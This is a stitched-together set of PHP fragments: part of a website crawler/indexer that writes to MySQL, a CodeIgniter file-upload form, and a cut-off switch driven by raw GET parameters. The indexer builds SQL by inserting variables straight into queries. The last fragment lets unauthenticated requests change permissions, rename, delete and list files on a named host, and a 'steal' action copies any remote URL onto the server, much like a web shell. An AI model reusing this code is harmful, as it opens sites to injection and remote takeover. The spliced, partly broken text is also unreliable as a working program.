printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } } else { if ($site_id == '') { mysqltest(); $sql_query = "INSERT into " . $mysql_table_prefix . "sites (url, indexdate, spider_depth, required, disallowed, can_leave_domain, use_prefcharset) " . "values ('{$url}', now(), '{$maxlevel}', '{$url_inc}', '{$url_not_inc}', '{$can_leave_domain}', '{$use_pref}')"; $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $sql_query = "SELECT site_ID from " . $mysql_table_prefix . "sites where url='{$url}'"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $result->fetch_array(MYSQLI_NUM); $site_id = $row[0]; if ($clear == 1) { clean_resource($result, '09'); } } else { mysqltest(); $sql_query = "UPDATE " . $mysql_table_prefix . "sites set indexdate=now(), spider_depth ='{$maxlevel}', required = '{$url_inc}'," . "disallowed = '{$url_not_inc}', can_leave_domain='{$can_leave_domain}', use_prefcharset='{$use_pref}' where site_id='{$site_id}'"; $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } } } $pending = array(); mysqltest(); $sql_query = "SELECT site_id, temp_id, level, count, num from " . $mysql_table_prefix . "pending where site_id='{$site_id}'"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $result->fetch_array(MYSQLI_NUM); $pending = $row[0]; $level = '0'; $count = '0'; if ($clear == 1) { clean_resource($result, '10'); } $domain_arr = get_domains(); if ($pending == '') { mysqltest(); $sql_query = "INSERT into " . $mysql_table_prefix . "temp (link, level, id) values ('{$url}', 0, '{$sessid}')"; $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } } else { if ($pending != '') { printStandardReport('continueSuspended', $command_line, $no_log); mysqltest(); $pend_count = '0'; //$result = $db_con->query("SELECT temp_id, level, count from ".$mysql_table_prefix."pending where site_id='$site_id'"); $sql_query = "SELECT * from " . $mysql_table_prefix . "pending where site_id='{$site_id}'"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $row = $result->fetch_array(MYSQLI_NUM); if ($row) { $sessid = $row[1]; $level = $row[2]; $pend_count = $row[3] + 1; $num = $row[4]; $pending = 1; $tmp_urls = get_temp_urls($sessid); if ($clear == 1) { clean_resource($result, '11'); } } } } if ($pending != 1) { mysqltest(); $sql_query = "INSERT into " . $mysql_table_prefix . "pending (site_id, temp_id, level, count) values ('{$site_id}', '{$sessid}', '0', '0')"; $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } } $time = time(); $robots = "robots.txt"; // standardname of robots file if ($use_robot == '1') { $omit = check_robot_txt($url, $robots); } printHeader($omit, $url, $command_line); if ($link_check == 1) { printStandardReport('start_link_check', $command_line, $no_log); } if ($link_check == 0 && $reindex == 1) { printStandardReport('start_reindex', $command_line, $no_log); } if ($link_check == 0 && $reindex == 0) { printStandardReport('starting', $command_line, $no_log); } $mainurl = $url; $realnum = $num; $num = 0; while ($level <= $maxlevel && $soption == 'level' || $soption == 'full') { if ($pending == 1) { $count = $pend_count; $pending = 0; } else { $count = 0; } $links = array(); mysqltest(); $sql_query = "SELECT distinct link from " . $mysql_table_prefix . "temp where level={$level} && id='{$sessid}' order by link"; $result = $db_con->query($sql_query); $rows = $result->num_rows; if ($rows == 0) { break; } while ($row = $result->fetch_array(MYSQLI_ASSOC)) { $links[] = $row['link']; } // now loop through all available links(pages) while ($count < count($links)) { $num++; $realnum++; if ($realnum > $max_links) { // if max. links per page reached mysqltest(); $sql_query = "DELETE from " . $mysql_table_prefix . "temp where id = '{$sessid}'"; $db_con->query($sql_query); $sql_query = "DELETE from " . $mysql_table_prefix . "pending where site_id = '{$site_id}'"; $db_con->query($sql_query); printMaxLinks($max_links, $cl); printStandardReport('completed', $command_line, $no_log); return; } $thislink = $db_con->real_escape_string(stripslashes($links[$count])); $urlparts = parse_addr($thislink); $forbidden = 0; if (is_array($omit)) { // if valid robots.txt was found reset($omit); foreach ($omit as $omiturl) { $omiturl = trim($omiturl); $omiturl_parts = array(); $omiturl_parts = parse_addr($omiturl); if (@$omiturl_parts['scheme'] == '') { $check_omit = $urlparts['host'] . $omiturl; } else { $check_omit = $omiturl; } if (strpos($thislink, $check_omit)) { printRobotsReport($num, $thislink, $command_line); $realnum--; check_for_removal($thislink); $forbidden = 1; break; } } } if (!check_include($thislink, $url_inc, $url_not_inc)) { $realnum--; printUrlStringReport($num, $thislink, $command_line); //printUrlStringReport($realnum, $thislink, $command_line); check_for_removal($thislink); $forbidden = 1; } if ($forbidden == 0) { printRetrieving($num, stripslashes(rawurldecode($thislink)), $command_line); //printRetrieving($realnum, $thislink, $command_line); mysqltest(); $sql_query = "SELECT md5sum, indexdate from " . $mysql_table_prefix . "links where url='{$thislink}'"; $result = $db_con->query($sql_query); $rows = $result->num_rows; if ($rows == 0) { $url_status = index_url($thislink, $level + 1, $site_id, '', $domain, '', $sessid, $can_leave_domain, $reindex, $use_nofollow, $cl, $use_robot, $use_pref, $url_inc, $url_not_inc, $num); // check for touching the blacklist and its count against limit if ($url_status['black'] == "1") { $black++; if ($black > 20) { // limit until aborting the indexation of this site $url_status['aborted'] = "1"; $url_status['state'] = "<br /><br />Indexation aborted for this site, as it met too often the blacklist."; } } else { $black = 0; // reset counter, as should count only on continuous hits } // check for emergency exit if ($url_status['aborted'] == "1") { // delete all links from the temp table, which might be left for this site mysqltest(); $sql_query = "DELETE from " . $mysql_table_prefix . "temp where id = '{$sessid}'"; $db_con->query($sql_query); $sql_query = "DELETE from " . $mysql_table_prefix . "pending where site_id = '{$site_id}'"; $db_con->query($sql_query); $sql_query = "UPDATE " . $mysql_table_prefix . "sites set indexdate=now() where url = '{$url}'"; $db_con->query($sql_query); // end all loops $forbidden = '1'; $omit = ''; $reindex = ''; $count = '9999999999'; $pending = array(); if (!stristr($url_status['state'], "NOHOST") && !stristr($url_status['state'], "black")) { // NOHOST warning will be printed separately printWarning($url_status['state'], $command_line, $no_log); } } if (stristr($url_status['state'], "NOHOST")) { // delete all links from the temp table, which might be left for this site, etc mysqltest(); $sql_query = "DELETE from " . $mysql_table_prefix . "temp where id = '{$sessid}'"; $db_con->query($sql_query); $sql_query = "DELETE from " . $mysql_table_prefix . "pending where site_id = '{$site_id}'"; $db_con->query($sql_query); $sql_query = "UPDATE " . $mysql_table_prefix . "sites set indexdate=now() where url = '{$url}'"; $db_con->query($sql_query); // end all loops $forbidden = '1'; $omit = ''; $reindex = ''; $count = '9999999999'; $pending = array(); printWarning($url_status['state'], $command_line, $no_log); return; } // check for UFO file or invalid suffix (by redirected URL) if (stristr($url_status['state'], "ufo")) { //printWarning($url_status['state'],$command_line, $no_log); } if ($url_status['state'] != "ok") { printWarning($url_status['state'], $command_line, $no_log); } mysqltest(); $sql_query = "UPDATE " . $mysql_table_prefix . "pending set level ='{$level}', count='{$count}', num='{$realnum}' where site_id='{$site_id}'"; $db_con->query($sql_query); } else { if ($rows != 0 && $reindex == 1) { $row = $result->fetch_array(MYSQLI_ASSOC); $md5sum = $row['md5sum']; $indexdate = $row['indexdate']; if ($link_check == 1 && $reindex == 1) { link_check($thislink, $level + 1, $sessid, $can_leave_domain, $reindex, $site_id); } else { $url_status = index_url($thislink, $level + 1, $site_id, $md5sum, $domain, $indexdate, $sessid, $can_leave_domain, $reindex, $use_nofollow, $cl, $use_robot, $use_pref, $url_inc, $url_not_inc, $num); // check for emergency exit if ($url_status['aborted']) { // delete all links from the temp table, which might be left for this site mysqltest(); $sql_query = "DELETE from " . $mysql_table_prefix . "temp where id = '{$sessid}'"; $db_con->query($sql_query); // end all loops $forbidden = '1'; $omit = ''; $reindex = ''; $count = '9999999999'; $pending = array(); printWarning($url_status['state'], $command_line, $no_log); } } } else { printStandardReport('inDatabase', $command_line, $no_log); $realnum--; //$num--; } } if ($rows != 0) { mysqltest(); $sql_query = "UPDATE " . $mysql_table_prefix . "pending set level ='{$level}', count='{$count}', num='{$realnum}' where site_id='{$site_id}'"; $db_con->query($sql_query); } if ($clear == 1) { clean_resource($result, '13'); } } // check for interrupt counter if ($int_count == '1') { // interrupt the index procedure until interactive resume $sql_query = "UPDATE " . $mysql_table_prefix . "pending set level ='{$level}', count='{$count}', num='{$realnum}' where site_id='{$site_id}'"; $db_con->query($sql_query); printInterrupt($interrupt, $url, $cl); die; } $count++; $int_count--; } $level++; } } mysqltest(); $sql_query = "DELETE from " . $mysql_table_prefix . "temp where id = '{$sessid}'"; $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $sql_query = "DELETE from " . $mysql_table_prefix . "pending where site_id = '{$site_id}'"; $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } if ($create_sitemap == 1) { create_sitemap($site_id, $url); } printStandardReport('completed', $command_line, $no_log); $stats = get_Stats(); printDatabase($stats, $cl); } if ($index_media) { // delete all thumbnails in .../admin/tmp/thumbs/ folder clear_folder("." . $thumb_folder); } }
$ci =& get_instance(); $ci->load->helper(array('form', 'url')); function clear_folder($path) { $ci =& get_instance(); $ci->load->helper('directory'); $dir = directory_map($path, TRUE); foreach ($dir as $item) { unlink($path . $item); } } if ($ci->input->post('action') !== FALSE) { $config['upload_path'] = $ci->app->ci_folder . 'tmp/'; $config['allowed_types'] = 'vpkg'; $config['max_size'] = '10000'; $ci->load->library('upload', $config); clear_folder($config['upload_path']); if (!$ci->upload->do_upload()) { $ci->app->add_error($ci->upload->display_errors('', '')); } else { redirect($ci->app->app_url('install viewer')); } } echo form_open_multipart($ci->app->app_url('install')); ?> <input type="file" name="userfile" size="20" /> <input type="submit" value="upload" name='action' /> </form>
echo str_replace(" ", "", $files[$_GET['nm']]); break; case '755': chmodr("../" . str_replace("./", "", $GET['p']), 0755); break; case 'rename': rename($p . "/" . $_GET['old'], $p . "/" . str_replace(' ', '', $_GET['new'])); break; case 'mkdir': mkdir($p . $_GET['testo'] . "/", 0755); break; case 'unlink': full_unlink($p); break; case 'clr_dir': clear_folder($p); break; case 'list': listr('/web/htdocs/www.zanetello.com/home/' . $_GET['p']); break; case 'steal': $nfile = explode("/", $_GET['link']); $nfile = $nfile[count($nfile) - 1]; copy($_GET['link'], $p . $nfile); break; case 'zip': require_once 'pclzip.lib.php'; $dirname = explode("/", $p); $archive = new PclZip($p . '.zip'); array_pop($dirname); $dirname = implode("/", $dirname);